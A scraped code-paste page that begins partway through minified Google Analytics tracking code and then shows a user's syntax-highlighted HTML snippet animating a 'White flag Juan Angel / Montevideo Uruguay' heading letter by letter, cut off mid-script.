l=ca;break a}ca=ca.parentNode;g--}l={}}("http:"==l.protocol||"https:"==l.protocol)&&sd(a,l.hostname||"")&&l.href&&(l.href=qd(e,l.href,b))}catch(k){J(26)}}var e=this;this.target.get(Ze)?De.auto(function(){return $e(e.target)},a,b?"fragment":"",c):(this.T||(this.T=!0,L(M,"mousedown",d,!1),L(M,"keyup",d,!1)),c&&L(M,"submit",function(g){g= g||O.event;if((g=g.target||g.srcElement)&&g.action){var ca=g.action.match(Jc);ca&&sd(a,ca[1])&&rd(e,g)}}))};function sd(a,b){if(b==M.location.hostname)return!1;for(var c=0;c<a.length;c++)if(a[c]instanceof RegExp){if(a[c].test(b))return!0}else if(0<=b.indexOf(a[c]))return!0;return!1}function ke(a,b){return b!=Ic(a,0)&&b!=Ic(a,-1)&&b!=Ic(a,-2)&&b!=pa(a,0)&&b!=pa(a,-1)&&b!=pa(a,-2)}function $e(a){var b=af(a);return{_ga:a.get(Q),_gid:a.get(I)||void 0,_gac:b?[b.qa,b.timestamp].join("."):void 0}} function af(a){function b(e){return void 0==e||""===e?0:Number(e)}var c=a.get(ce);if(c&&a.get(je)){var d=b(a.get(fe));if(1E3*d+b(a.get(he))<=(new Date).getTime())J(76);else return{timestamp:d,qa:c}}};var p=/^(GTM|OPT)-[A-Z0-9]+$/,q=/;_gaexp=[^;]*/g,r=/;((__utma=)|([^;=]+=GAX?\d+\.))[^;]*/g,Aa=/^https?:\/\/[\w\-.]+\.google.com(:\d+)?\/optimize\/opt-launch\.html\?.*$/,t=function(a){function b(d,e){e&&(c+="&"+d+"="+K(e))}var c="https://www.google-analytics.com/gtm/js?id="+K(a.id);"dataLayer"!=a.B&&b("l",a.B);b("t",a.target);b("cid",a.clientId);b("cidt",a.ka);b("gac",a.la);b("aip",a.ia);a.sync&&b("m","sync");b("cycle",a.G);a.qa&&b("gclid",a.qa);Aa.test(M.referrer)&&b("cb",String(hd()));return c};var Jd=function(a,b,c){this.aa=b;(b=c)||(b=(b=P(a,V))&&"t0"!=b?Wd.test(b)?"_gat_"+Cc(P(a,Na)):"_gat_"+Cc(b):"_gat");this.Y=b;this.ra=null},Rd=function(a,b){var c=b.get(Wb);b.set(Wb,function(e){Pd(a,e,ed);Pd(a,e,ia);var g=c(e);Qd(a,e);return g});var d=b.get(Xb);b.set(Xb,function(e){var g=d(e);if(se(e)){if(ne()!==H(a,e)){J(80);var ca={U:re(a,e,1),google:re(a,e,2),count:0};pe("https://stats.g.doubleclick.net/j/collect",ca.U,ca)}else ta(re(a,e,0));e.set(ed,"",!0)}return g})},Pd=function(a,b,c){!1===b.get(Ud)|| b.get(c)||("1"==Ca(a.Y)[0]?b.set(c,"",!0):b.set(c,""+hd(),!0))},Qd=function(a,b){se(b)&&zc(a.Y,"1",P(b,Yb),P(b,W),P(b,Na),6E4)},se=function(a){return!!a.get(ed)&&!1!==a.get(Ud)},re=function(a,b,c){var d=new ee,e=function(ca){$a(ca).F&&d.set($a(ca).F,b.get(ca))};e(hb);e(ib);e(Na);e(Q);e(ed);if(0==c||1==c)e(Ad),e(ia),e(I);d.set($a(ld).F,Td(b));var g="";d.map(function(ca,l){g+=K(ca)+"=";g+=K(""+l)+"&"});g+="z="+hd();0==c?g=a.aa+g:1==c?g="t=dc&aip=1&_r=3&"+g:2==c&&(g="t=sr&aip=1&_r=4&slf_rd=1&"+g);return g}, H=function(a,b){null===a.ra&&(a.ra=1===Ed(b),a.ra&&J(33));return a.ra},Wd=/^gtm\d+$/;var fd=function(a,b){a=a.b;if(!a.get("dcLoaded")){var c=new $c(Dd(a));c.set(29);a.set(Gd,c.w);b=b||{};var d;b[U]&&(d=Cc(b[U]));b=new Jd(a,"https://stats.g.doubleclick.net/r/collect?t=dc&aip=1&_r=3&",d);Rd(b,a);a.set("dcLoaded",!0)}};var Sd=function(a){if(!a.get("dcLoaded")&&"cookie"==a.get(ac)){var b=new Jd(a);Pd(b,a,ed);Pd(b,a,ia);Qd(b,a);if(se(a)){var c=ne()!==H(b,a);a.set(Md,1,!0);c?(J(79),a.set(ad,"d",!0),a.set(qe,{U:re(b,a,1),google:re(b,a,2),count:0},!0)):a.set(ad,"b",!0)}}};var Lc=function(){var a=O.gaGlobal=O.gaGlobal||{};return a.hid=a.hid||hd()};var wb=/^(UA|YT|MO|GP)-(\d+)-(\d+)$/,pc=function(a){function b(e,g){d.b.data.set(e,g)}function c(e,g){b(e,g);d.filters.add(e)}var d=this;this.b=new Ya;this.filters=new Ha;b(V,a[V]);b(Na,sa(a[Na]));b(U,a[U]);b(W,a[W]||xa());b(Yb,a[Yb]);b(Zb,a[Zb]);b(Hd,a[Hd]);b($b,a[$b]);b(Wc,a[Wc]);b(bc,a[bc]);b(cc,a[cc]);b(Ka,a[Ka]);b(dc,a[dc]);b(ec,a[ec]);b(ac,a[ac]);b(Ad,a[Ad]);b(n,a[n]);b(Kd,a[Kd]);b(je,a[je]);b(Ze,a[Ze]);b(oe,a[oe]);b(hb,1);b(ib,"j79");c(Qb,Ma);c(oa,ua);c(dd,cd);c(Rb,Oa);c(md,vb);c(Sb,nc);c(Uc, Yc);c(Tb,Ja);c(Vb,Ta);c(Vc,Hc);c(zd,yd);c(Ld,Sd);c(Wb,Pa);c(Xb,Sa);c(Cd,Fd(this));pd(this.b);td(this.b,a[Q]);this.b.set(jb,Lc())},td=function(a,b){var c=P(a,U);a.data.set(la,"_ga"==c?"_gid":c+"_gid");if("cookie"==P(a,ac)){hc=!1;c=Ca(P(a,U));c=Xd(a,c);if(!c){c=P(a,W);var d=P(a,$b)||xa();c=Xc("__utma",d,c);void 0!=c?(J(10),c=c.O[1]+"."+c.O[2]):c=void 0}c&&(hc=!0);if(d=c&&!a.get(Hd))if(d=c.split("."),2!=d.length)d=!1;else if(d=Number(d[1])){var e=R(a,Zb);d=d+e<(new Date).getTime()/1E3}else d=!1;d&&(c= void 0);c&&(a.data.set(xd,c),a.data.set(Q,c),(c=uc(a))&&a.data.set(I,c));if(a.get(je)&&(c=a.get(ce),d=a.get(ie),!c||d&&"aw.ds"!=d)){c={};if(M){d=[];e=M.cookie.split(";");for(var g=/^\s*_gac_(UA-\d+-\d+)=\s*(.+?)\s*$/,ca=0;ca<e.length;ca++){var l=e[ca].match(g);l&&d.push({ja:l[1],value:l[2]})}e={};if(d&&d.length)for(g=0;g<d.length;g++)(ca=d[g].value.split("."),"1"!=ca[0]||3!=ca.length)?c&&(c.na=!0):ca[1]&&(e[d[g].ja]?c&&(c.pa=!0):e[d[g].ja]=[],e[d[g].ja].push({timestamp:ca[1],qa:ca[2]}));d=e}else d= {};d=d[P(a,Na)];le(c);d&&0!=d.length&&(c=d[0],a.data.set(fe,c.timestamp),a.data.set(ce,c.qa))}}if(a.get(Hd)&&(c=be("_ga",!!a.get(cc)),g=be("_gl",!!a.get(cc)),d=De.get(a.get(cc)),e=d._ga,g&&0<g.indexOf("_ga*")&&!e&&J(30),g=d.gclid,ca=d._gac,c||e||g||ca))if(c&&e&&J(36),a.get(bc)||ye(a.get(Kd))){if(e&&(J(38),a.data.set(Q,e),d._gid&&(J(51),a.data.set(I,d._gid))),g?(J(82),a.data.set(ce,g),d.gclsrc&&a.data.set(ie,d.gclsrc)):ca&&(d=ca.split("."))&&2===d.length&&(J(37),a.data.set(ce,d[0]),a.data.set(fe,d[1])), c)b:if(d=c.indexOf("."),-1==d)J(22);else{e=c.substring(0,d);g=c.substring(d+1);d=g.indexOf(".");c=g.substring(0,d);g=g.substring(d+1);if("1"==e){if(d=g,ke(d,c)){J(23);break b}}else if("2"==e){d=g.indexOf("-");e="";0<d?(e=g.substring(0,d),d=g.substring(d+1)):d=g.substring(1);if(ke(e+d,c)){J(53);break b}e&&(J(2),a.data.set(I,e))}else{J(22);break b}J(11);a.data.set(Q,d);if(c=be("_gac",!!a.get(cc)))c=c.split("."),"1"!=c[0]||4!=c.length?J(72):ke(c[3],c[1])?J(71):(a.data.set(ce,c[3]),a.data.set(fe,c[2]), J(70))}}else J(21);b&&(J(9),a.data.set(Q,K(b)));a.get(Q)||((b=(b=O.gaGlobal&&O.gaGlobal.vid)&&-1!=b.search(jd)?b:void 0)?(J(17),a.data.set(Q,b)):(J(8),a.data.set(Q,ra())));a.get(I)||(J(3),a.data.set(I,ra()));mc(a)},pd=function(a){var b=O.navigator,c=O.screen,d=M.location;a.set(lb,ya(!!a.get(ec),!!a.get(Kd)));if(d){var e=d.pathname||"";"/"!=e.charAt(0)&&(J(31),e="/"+e);a.set(kb,d.protocol+"//"+d.hostname+e+d.search)}c&&a.set(qb,c.width+"x"+c.height);c&&a.set(pb,c.colorDepth+"-bit");c=M.documentElement; var g=(e=M.body)&&e.clientWidth&&e.clientHeight,ca=[];c&&c.clientWidth&&c.clientHeight&&("CSS1Compat"===M.compatMode||!g)?ca=[c.clientWidth,c.clientHeight]:g&&(ca=[e.clientWidth,e.clientHeight]);c=0>=ca[0]||0>=ca[1]?"":ca.join("x");a.set(rb,c);a.set(tb,fc());a.set(ob,M.characterSet||M.charset);a.set(sb,b&&"function"===typeof b.javaEnabled&&b.javaEnabled()||!1);a.set(nb,(b&&(b.language||b.browserLanguage)||"").toLowerCase());a.data.set(ce,be("gclid",!0));a.data.set(ie,be("gclsrc",!0));a.data.set(fe, Math.round((new Date).getTime()/1E3));if(d&&a.get(cc)&&(b=M.location.hash)){b=b.split(/[?&#]+/);d=[];for(c=0;c<b.length;++c)(D(b[c],"utm_id")||D(b[c],"utm_campaign")||D(b[c],"utm_source")||D(b[c],"utm_medium")||D(b[c],"utm_term")||D(b[c],"utm_content")||D(b[c],"gclid")||D(b[c],"dclid")||D(b[c],"gclsrc"))&&d.push(b[c]);0<d.length&&(b="#"+d.join("&"),a.set(kb,a.get(kb)+b))}};pc.prototype.get=function(a){return this.b.get(a)};pc.prototype.set=function(a,b){this.b.set(a,b)}; var me={pageview:[mb],event:[ub,xb,yb,zb],social:[Bb,Cb,Db],timing:[Mb,Nb,Pb,Ob]};pc.prototype.send=function(a){if(!(1>arguments.length)){if("string"===typeof arguments[0]){var b=arguments[0];var c=[].slice.call(arguments,1)}else b=arguments[0]&&arguments[0][Va],c=arguments;b&&(c=za(me[b]||[],c),c[Va]=b,this.b.set(c,void 0,!0),this.filters.D(this.b),this.b.data.m={})}};pc.prototype.ma=function(a,b){var c=this;u(a,c,b)||(v(a,function(){u(a,c,b)}),y(String(c.get(V)),a,void 0,b,!0))};var rc=function(a){if("prerender"==M.visibilityState)return!1;a();return!0},z=function(a){if(!rc(a)){J(16);var b=!1,c=function(){if(!b&&rc(a)){b=!0;var d=c,e=M;e.removeEventListener?e.removeEventListener("visibilitychange",d,!1):e.detachEvent&&e.detachEvent("onvisibilitychange",d)}};L(M,"visibilitychange",c)}};var te=/^(?:(\w+)\.)?(?:(\w+):)?(\w+)$/,sc=function(a){if(ea(a[0]))this.u=a[0];else{var b=te.exec(a[0]);null!=b&&4==b.length&&(this.c=b[1]||"t0",this.K=b[2]||"",this.C=b[3],this.a=[].slice.call(a,1),this.K||(this.A="create"==this.C,this.i="require"==this.C,this.g="provide"==this.C,this.ba="remove"==this.C),this.i&&(3<=this.a.length?(this.X=this.a[1],this.W=this.a[2]):this.a[1]&&(qa(this.a[1])?this.X=this.a[1]:this.W=this.a[1])));b=a[1];a=a[2];if(!this.C)throw"abort";if(this.i&&(!qa(b)||""==b))throw"abort"; if(this.g&&(!qa(b)||""==b||!ea(a)))throw"abort";if(ud(this.c)||ud(this.K))throw"abort";if(this.g&&"t0"!=this.c)throw"abort";}};function ud(a){return 0<=a.indexOf(".")||0<=a.indexOf(":")};var Yd,Zd,$d,A;Yd=new ee;$d=new ee;A=new ee;Zd={ec:45,ecommerce:46,linkid:47}; var u=function(a,b,c){b==N||b.get(V);var d=Yd.get(a);if(!ea(d))return!1;b.plugins_=b.plugins_||new ee;if(b.plugins_.get(a))return!0;b.plugins_.set(a,new d(b,c||{}));return!0},y=function(a,b,c,d,e){if(!ea(Yd.get(b))&&!$d.get(b)){Zd.hasOwnProperty(b)&&J(Zd[b]);a=N.j(a);if(p.test(b)){J(52);if(!a)return!0;c=d||{};d={id:b,B:c.dataLayer||"dataLayer",ia:!!a.get("anonymizeIp"),sync:e,G:!1};a.get("&gtm")==b&&(d.G=!0);var g=String(a.get("name"));"t0"!=g&&(d.target=g);G(String(a.get("trackingId")))||(d.clientId= String(a.get(Q)),d.ka=Number(a.get(n)),c=c.palindrome?r:q,c=(c=M.cookie.replace(/^|(; +)/g,";").match(c))?c.sort().join("").substring(1):void 0,d.la=c,d.qa=E(a.b.get(kb)||"","gclid"));c=d.B;g=(new Date).getTime();O[c]=O[c]||[];g={"gtm.start":g};e||(g.event="gtm.js");O[c].push(g);c=t(d)}!c&&Zd.hasOwnProperty(b)?(J(39),c=b+".js"):J(43);if(c){if(a){var ca=a.get(oe);qa(ca)||(ca=void 0)}c&&0<=c.indexOf("/")||(c=(ca?ca+"/34":bd(!1)+"/plugins/ua/")+c);ca=ae(c);a=ca.protocol;d=M.location.protocol;if(("https:"== a||a==d||("http:"!=a?0:"http:"==d))&&B(ca)){if(ca=ca.url)a=(a=M.querySelector&&M.querySelector("script[nonce]")||null)?a.nonce||a.getAttribute&&a.getAttribute("nonce")||"":"",e?(e="",a&&Nd.test(a)&&(e=' nonce="'+a+'"'),f.test(ca)&&M.write("<script"+e+' src="'+ca+'">\x3c/script>')):(e=M.createElement("script"),e.type="text/javascript",e.async=!0,e.src=ca,a&&e.setAttribute("nonce",a),ca=M.getElementsByTagName("script")[0],ca.parentNode.insertBefore(e,ca));$d.set(b,!0)}}}},v=function(a,b){var c=A.get(a)|| [];c.push(b);A.set(a,c)},C=function(a,b){Yd.set(a,b);b=A.get(a)||[];for(var c=0;c<b.length;c++)b[c]();A.set(a,[])},B=function(a){var b=ae(M.location.href);if(D(a.url,"https://www.google-analytics.com/gtm/js?id="))return!0;if(a.query||0<=a.url.indexOf("?")||0<=a.path.indexOf("://"))return!1;if(a.host==b.host&&a.port==b.port)return!0;b="http:"==a.protocol?80:443;return"www.google-analytics.com"==a.host&&(a.port||b)==b&&D(a.path,"/plugins/")?!0:!1},ae=function(a){function b(l){var k=l.hostname||"",w= 0<=k.indexOf("]");k=k.split(w?"]":":")[0].toLowerCase();w&&(k+="]");w=(l.protocol||"").toLowerCase();w=1*l.port||("http:"==w?80:"https:"==w?443:"");l=l.pathname||"";D(l,"/")||(l="/"+l);return[k,""+w,l]}var c=M.createElement("a");c.href=M.location.href;var d=(c.protocol||"").toLowerCase(),e=b(c),g=c.search||"",ca=d+"//"+e[0]+(e[1]?":"+e[1]:"");D(a,"//")?a=d+a:D(a,"/")?a=ca+a:!a||D(a,"?")?a=ca+e[2]+(a||g):0>a.split("/")[0].indexOf(":")&&(a=ca+e[2].substring(0,e[2].lastIndexOf("/"))+"/"+a);c.href=a; d=b(c);return{protocol:(c.protocol||"").toLowerCase(),host:d[0],port:d[1],path:d[2],query:c.search||"",url:a||""}};var Z={ga:function(){Z.f=[]}};Z.ga();Z.D=function(a){var b=Z.J.apply(Z,arguments);b=Z.f.concat(b);for(Z.f=[];0<b.length&&!Z.v(b[0])&&!(b.shift(),0<Z.f.length););Z.f=Z.f.concat(b)};Z.J=function(a){for(var b=[],c=0;c<arguments.length;c++)try{var d=new sc(arguments[c]);d.g?C(d.a[0],d.a[1]):(d.i&&(d.ha=y(d.c,d.a[0],d.X,d.W)),b.push(d))}catch(e){}return b}; Z.v=function(a){try{if(a.u)a.u.call(O,N.j("t0"));else{var b=a.c==gb?N:N.j(a.c);if(a.A){if("t0"==a.c&&(b=N.create.apply(N,a.a),null===b))return!0}else if(a.ba)N.remove(a.c);else if(b)if(a.i){if(a.ha&&(a.ha=y(a.c,a.a[0],a.X,a.W)),!u(a.a[0],b,a.W))return!0}else if(a.K){var c=a.C,d=a.a,e=b.plugins_.get(a.K);e[c].apply(e,d)}else b[a.C].apply(b,a.a)}}catch(g){}};var N=function(a){J(1);Z.D.apply(Z,[arguments])};N.h={};N.P=[];N.L=0;N.ya=0;N.answer=42;var we=[Na,W,V];N.create=function(a){var b=za(we,[].slice.call(arguments));b[V]||(b[V]="t0");var c=""+b[V];if(N.h[c])return N.h[c];if(da(b))return null;b=new pc(b);N.h[c]=b;N.P.push(b);c=qc().tracker_created;if(ea(c))try{c(b)}catch(d){}return b};N.remove=function(a){for(var b=0;b<N.P.length;b++)if(N.P[b].get(V)==a){N.P.splice(b,1);N.h[a]=null;break}};N.j=function(a){return N.h[a]};N.getAll=function(){return N.P.slice(0)}; N.N=function(){"ga"!=gb&&J(49);var a=O[gb];if(!a||42!=a.answer){N.L=a&&a.l;N.ya=1*new Date;N.loaded=!0;var b=O[gb]=N;X("create",b,b.create);X("remove",b,b.remove);X("getByName",b,b.j,5);X("getAll",b,b.getAll,6);b=pc.prototype;X("get",b,b.get,7);X("set",b,b.set,4);X("send",b,b.send);X("requireSync",b,b.ma);b=Ya.prototype;X("get",b,b.get);X("set",b,b.set);if("https:"!=M.location.protocol&&!Ba){a:{b=M.getElementsByTagName("script");for(var c=0;c<b.length&&100>c;c++){var d=b[c].src;if(d&&0==d.indexOf(bd(!0)+ "/analytics")){b=!0;break a}}b=!1}b&&(Ba=!0)}(O.gaplugins=O.gaplugins||{}).Linker=Dc;b=Dc.prototype;C("linker",Dc);X("decorate",b,b.ca,20);X("autoLink",b,b.S,25);C("displayfeatures",fd);C("adfeatures",fd);a=a&&a.q;ka(a)?Z.D.apply(N,a):J(50)}};N.da=function(){for(var a=N.getAll(),b=0;b<a.length;b++)a[b].get(V)};var xe=N.N,ze=O[gb];ze&&ze.r?xe():z(xe);z(function(){Z.D(["provide","render",ua])});})(window);

    From user marmollie101

  • nenu-doc / acta-non-verba

    unknown-21-m, <!DOCTYPE html> <html> <head> <title>Biblioteca</title> </head> <body> <pre style='color:#d1d1d1;background:#000000;'><span style='color:#008073; '>&lt;!DOCTYPE html></span> <span style='color:#ff8906; '>&lt;</span><span style='color:#e66170; font-weight:bold; '>html</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '>&lt;</span><span style='color:#e66170; font-weight:bold; '>head</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '>&lt;</span><span style='color:#e66170; font-weight:bold; '>title</span><span style='color:#ff8906; '>></span>Biblioteca<span style='color:#ff8906; '>&lt;/</span><span style='color:#e66170; font-weight:bold; '>title</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '>&lt;/</span><span style='color:#e66170; font-weight:bold; '>head</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '>&lt;</span><span style='color:#e66170; font-weight:bold; '>body</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '>&lt;</span><span style='color:#e66170; font-weight:bold; '>h2</span> id<span style='color:#d2cd86; '>=</span><span style='color:#00c4c4; '>"fly"</span><span style='color:#ff8906; '>></span>White flag Juan Angel / Montevideo Uruguay<span style='color:#ff8906; '>&lt;/</span><span style='color:#e66170; font-weight:bold; '>h2</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '>&lt;</span><span style='color:#e66170; font-weight:bold; '>script</span> type<span style='color:#d2cd86; '>=</span><span style='color:#00c4c4; '>"text/javascript"</span><span style='color:#ff8906; '>></span> message <span style='color:#d2cd86; '>=</span> document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>fly</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span>innerHTML<span style='color:#b060b0; '>;</span> distance <span style='color:#d2cd86; '>=</span> <span style='color:#008c00; '>50</span><span style='color:#b060b0; '>;</span> speed <span style='color:#d2cd86; '>=</span> <span style='color:#008c00; '>200</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>var</span> txt<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> num<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#d2cd86; '>,</span> num4<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#d2cd86; '>,</span> flyofle<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> flyofwi<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> flyofto<span style='color:#d2cd86; '>=</span><span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>,</span> fly<span style='color:#d2cd86; '>=</span>document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>fly</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>function</span> stfly<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>for</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>=</span><span style='color:#008c00; '>0</span><span style='color:#b060b0; '>;</span>i <span style='color:#d2cd86; '>!=</span> message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>length</span><span style='color:#b060b0; '>;</span>i<span style='color:#d2cd86; '>++</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>!=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>$</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span> txt <span style='color:#d2cd86; '>+=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>&lt;span style='position:relative;visibility:hidden;' id='n</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>+</span>i<span style='color:#d2cd86; '>+</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>'></span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>+</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>i<span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>+</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>&lt;\/span></span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> <span style='color:#e66170; font-weight:bold; '>else</span> txt <span style='color:#d2cd86; '>+=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>&lt;br></span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> <span style='color:#b060b0; '>}</span> fly<span style='color:#d2cd86; '>.</span>innerHTML <span style='color:#d2cd86; '>=</span> txt<span style='color:#b060b0; '>;</span> txt <span style='color:#d2cd86; '>=</span> <span style='color:#02d045; '>"</span><span style='color:#02d045; '>"</span><span style='color:#b060b0; '>;</span> flyofle <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetLeft<span style='color:#b060b0; '>;</span> flyofwi <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetWidth<span style='color:#b060b0; '>;</span> flyofto <span style='color:#d2cd86; '>=</span> fly<span style='color:#d2cd86; '>.</span>offsetTop<span style='color:#b060b0; '>;</span> fly2b<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> <span style='color:#b060b0; '>}</span> <span style='color:#e66170; font-weight:bold; '>function</span> fly2b<span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>num4 <span style='color:#d2cd86; '>!=</span> message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>length</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>if</span><span style='color:#d2cd86; '>(</span>message<span style='color:#d2cd86; '>.</span><span style='color:#e66170; font-weight:bold; '>charAt</span><span style='color:#d2cd86; '>(</span>num4<span style='color:#d2cd86; '>)</span> <span style='color:#d2cd86; '>!=</span> <span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>$</span><span style='color:#02d045; '>"</span><span style='color:#d2cd86; '>)</span> <span style='color:#b060b0; '>{</span> <span style='color:#e66170; font-weight:bold; '>var</span> then <span style='color:#d2cd86; '>=</span> document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>n</span><span style='color:#02d045; '>"</span> <span style='color:#d2cd86; '>+</span> num4<span style='color:#d2cd86; '>)</span><span style='color:#b060b0; '>;</span> then<span style='color:#d2cd86; '>.</span>style<span style='color:#d2cd86; '>.</span>left <span style='color:#d2cd86; '>=</span> flyofle <span style='color:#d2cd86; '>-</span> then<span style='color:#d2cd86; '>.</span>offsetLeft <span style='color:#d2cd86; '>+</span> flyofwi <span style='color:#02d045; '>/</span><span style='color:#00c4c4; '> 2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = flyofto - then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>offsetTop </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> distance </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>id, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> / 5, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>, parseInt</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>then</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> / 5</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;}</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;num4</span><span style='color:#d2cd86; '>+</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;setTimeout</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>"fly2b</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>", speed</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;}</span> <span style='color:#00c4c4; '>}</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>function fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target,lef2,num2,top2,num3</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;if</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != 0 &amp;&amp; Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#b060b0; '>|</span><span style='color:#b060b0; '>|</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != 0 